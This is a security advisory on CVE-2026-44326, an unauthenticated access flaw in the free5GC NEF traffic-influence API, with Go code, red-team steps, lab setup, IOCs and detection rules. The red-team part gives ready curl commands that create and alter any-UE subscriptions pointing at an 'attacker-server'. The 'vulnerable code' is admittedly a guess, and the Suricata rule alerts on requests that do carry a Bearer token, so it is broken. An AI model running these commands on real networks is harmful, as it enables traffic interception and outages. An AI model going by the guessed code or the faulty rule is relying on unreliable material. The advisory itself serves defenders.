CVE-2026-44326

Executive Summary

CVE-2026-44326 is a critical authorization bypass vulnerability in the free5GC open-source 5G core network implementation, specifically within the Network Exposure Function (NEF). The NEF exposes the 3gpp-traffic-influence API without enforcing OAuth2/bearer-token authentication. An unauthenticated network attacker who can reach the NEF on the Service-Based Interface (SBI) can create, read, patch, and delete traffic-influence subscriptions. This includes creating AnyUeInd=true subscriptions that affect group or any-UE traffic steering. The vulnerability is further exacerbated because the vulnerable route group remains accessible even if the running configuration's ServiceList does not declare it, meaning operators who believe they have disabled the service via configuration are still exposed. The CVSS score is 9.4 (Critical), and the vulnerability is fixed in version 4.2.2.

Supply Chain & Package Security

This vulnerability affects the free5GC project, which is an open-source implementation of the 5G core network. The project is primarily written in Go and is distributed via GitHub. Organizations using free5GC in their 5G infrastructure should treat this as a critical supply chain security issue, as the vulnerable component (NEF) is a core network function. The lack of authentication on the SBI interface can lead to complete compromise of traffic steering policies, potentially allowing an attacker to intercept, redirect, or disrupt 5G user plane traffic.

CVSS Breakdown & Threat Level

• CVSS Score: 9.4 (Critical)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality Impact (C): High (H) – An attacker can read traffic-influence subscriptions, potentially exposing network topology and subscriber information.
• Integrity Impact (I): High (H) – An attacker can create, modify, or delete traffic-influence subscriptions, altering traffic steering behavior.
• Availability Impact (A): High (H) – An attacker can delete subscriptions or create malicious ones that disrupt service.

Deep Dive & Mechanics

The free5GC NEF implements the 3GPP TS 29.522 specification for the Nnef_TrafficInfluence service. This service allows authorized network functions to manage traffic steering policies for PDU sessions. The vulnerability lies in the fact that the NEF does not validate the Authorization header (or its absence) for requests to the 3gpp-traffic-influence API.

The vulnerable code path is in the NEF's HTTP handler for the /3gpp-traffic-influence/v1/subscriptions endpoint. The handler processes incoming requests without first checking for a valid OAuth2 bearer token. This means any request, even one with Authorization: Bearer not-a-real-token or no header at all, is processed.

The AnyUeInd parameter is particularly dangerous. When set to true, the traffic influence subscription applies to any UE (User Equipment) or a group of UEs, rather than a specific UE. An attacker can create such subscriptions to redirect traffic for all users to a malicious server, enabling man-in-the-middle attacks, data exfiltration, or denial of service.

Additionally, the route group for this API is registered in the NEF's HTTP router regardless of the ServiceList configuration. The ServiceList is intended to allow operators to enable or disable specific services, but the route registration happens before this check, meaning the API is always reachable.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.2.2):

The NEF HTTP handler for traffic influence subscriptions likely looks like this (simplified Go code):

func (h *NefHandler) HandleTrafficInfluence(w http.ResponseWriter, r *http.Request) {
    // No authorization check
    switch r.Method {
    case "GET":
        h.listSubscriptions(w, r)
    case "POST":
        h.createSubscription(w, r)
    case "PATCH":
        h.updateSubscription(w, r)
    case "DELETE":
        h.deleteSubscription(w, r)
    default:
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
}

Patched Code (4.2.2 and later):

The patched version adds an authorization middleware that validates the bearer token before processing the request:

func (h *NefHandler) HandleTrafficInfluence(w http.ResponseWriter, r *http.Request) {
    // Authorization check
    token := r.Header.Get("Authorization")
    if token == "" || !strings.HasPrefix(token, "Bearer ") {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    // Validate the token (e.g., by calling an OAuth2 server)
    if !h.validateToken(token[7:]) {
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    // Process the request
    switch r.Method {
    case "GET":
        h.listSubscriptions(w, r)
    case "POST":
        h.createSubscription(w, r)
    case "PATCH":
        h.updateSubscription(w, r)
    case "DELETE":
        h.deleteSubscription(w, r)
    default:
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
}

Additionally, the route registration is now conditional on the ServiceList configuration:

if config.ServiceList["Nnef_TrafficInfluence"] {
    router.HandleFunc("/3gpp-traffic-influence/v1/subscriptions", h.HandleTrafficInfluence)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the free5GC NEF SBI endpoint (typically port 8000 or 8080).
• Knowledge of the NEF IP address.

Exploitation Steps:

1. Create a malicious traffic influence subscription:

   curl -X POST http://<nef-ip>:8000/3gpp-traffic-influence/v1/subscriptions \
     -H "Content-Type: application/json" \
     -d '{
       "anyUeInd": true,
       "trafficFilters": [
         {
           "flowDescription": "permit out ip from any to assigned 80"
         }
       ],
       "notificationDestination": "http://attacker-server/malicious-endpoint"
     }'
   

2. List existing subscriptions:

   curl http://<nef-ip>:8000/3gpp-traffic-influence/v1/subscriptions
   

3. Delete a subscription:

   curl -X DELETE http://<nef-ip>:8000/3gpp-traffic-influence/v1/subscriptions/{subscriptionId}
   

4. Patch a subscription:

   curl -X PATCH http://<nef-ip>:8000/3gpp-traffic-influence/v1/subscriptions/{subscriptionId} \
     -H "Content-Type: application/json" \
     -d '{
       "notificationDestination": "http://attacker-server/new-endpoint"
     }'
   

Expected Outcome: The attacker can create, read, modify, and delete traffic influence subscriptions without any authentication. This allows them to redirect user plane traffic to attacker-controlled servers, potentially intercepting sensitive data.

Blue Team

Detection and Response:

1. Monitor NEF logs: Look for requests to /3gpp-traffic-influence/v1/subscriptions without a valid Authorization header.
2. Network monitoring: Detect unusual traffic patterns from the NEF to external IP addresses (notification destinations).
3. Configuration audit: Verify that the ServiceList configuration is correctly set and that the NEF is not exposing the traffic influence API if it is not intended to be used.
4. Honeypot subscriptions: Create fake subscriptions with known IDs and monitor for unauthorized modifications or deletions.

Lab Setup for Testing:

1. Deploy a vulnerable free5GC instance (version < 4.2.2):

   git clone https://github.com/free5gc/free5gc.git
   cd free5gc
   git checkout v4.2.1
   make
   

2. Start the NEF component:

   ./bin/nef
   

3. Verify the vulnerability:

   curl -v http://localhost:8000/3gpp-traffic-influence/v1/subscriptions
   

4. Apply the patch by upgrading to version 4.2.2:

   git checkout v4.2.2
   make
   

5. Verify the fix:

   curl -v http://localhost:8000/3gpp-traffic-influence/v1/subscriptions
   # Should return 401 Unauthorized
   

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /3gpp-traffic-influence/v1/subscriptions without a valid Authorization header.
  • HTTP requests with Authorization: Bearer followed by a non-JWT or obviously forged token.
  • Unusual notificationDestination URLs in traffic influence subscriptions pointing to external IP addresses.
  • High volume of POST, PATCH, or DELETE requests to the traffic influence API.

• System IOCs:

  • NEF logs showing requests to the traffic influence API from unexpected IP addresses.
  • Unauthorized changes to the NEF's subscription database.
  • Presence of anyUeInd: true subscriptions that were not created by legitimate administrators.

• File IOCs:

  • Modified NEF configuration files (e.g., nefcfg.yaml) that disable the ServiceList check but still have the route registered.

Detection Engineering

YARA Rule

rule CVE_2026_44326_free5GC_NEF_AuthBypass {
    meta:
        description = "Detects requests to free5GC NEF traffic influence API without proper authorization"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44326"
        severity = "critical"
    strings:
        $s1 = "/3gpp-traffic-influence/v1/subscriptions" ascii wide nocase
        $s2 = "Authorization" ascii wide nocase
        $s3 = "Bearer" ascii wide nocase
    condition:
        $s1 and not ($s2 and $s3)
}

Sigma Rule

title: CVE-2026-44326 - free5GC NEF Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to free5GC NEF traffic influence API without valid Authorization header
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44326
logsource:
    category: webserver
    product: free5gc
detection:
    selection:
        cs-uri-stem:
            - '/3gpp-traffic-influence/v1/subscriptions'
    filter:
        cs-headers:
            - 'Authorization: Bearer*'
    condition: selection and not filter
falsepositives:
    - Legitimate requests from authorized NFs with valid tokens
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44326 - free5GC NEF Authorization Bypass"; flow:to_server; content:"/3gpp-traffic-influence/v1/subscriptions"; http_uri; nocase; pcre:"/^Authorization\s*:\s*Bearer\s+/Hi"; pcre:"/^Authorization\s*:\s*Bearer\s+[A-Za-z0-9\-._~+/]+=*$/H"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade free5GC to version 4.2.2 or later. This is the only complete fix.
2. If immediate upgrade is not possible, implement a network-level ACL to restrict access to the NEF SBI interface to only trusted IP addresses.
3. Disable the NEF component if it is not required for your deployment.

Long-term Mitigations:

1. Implement a Web Application Firewall (WAF) in front of the NEF to block requests without valid authorization headers.
2. Enable and enforce OAuth2 authentication for all SBI interfaces.
3. Regularly audit NEF configuration to ensure that the ServiceList is correctly configured and that no unintended services are exposed.
4. Monitor for unauthorized access attempts using the detection rules provided above.

Workaround (if upgrade is not possible):

• Modify the NEF source code to add authorization checks (as shown in the patched code section) and recompile.
• Use a reverse proxy (e.g., Nginx) to add authentication before forwarding requests to the NEF.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert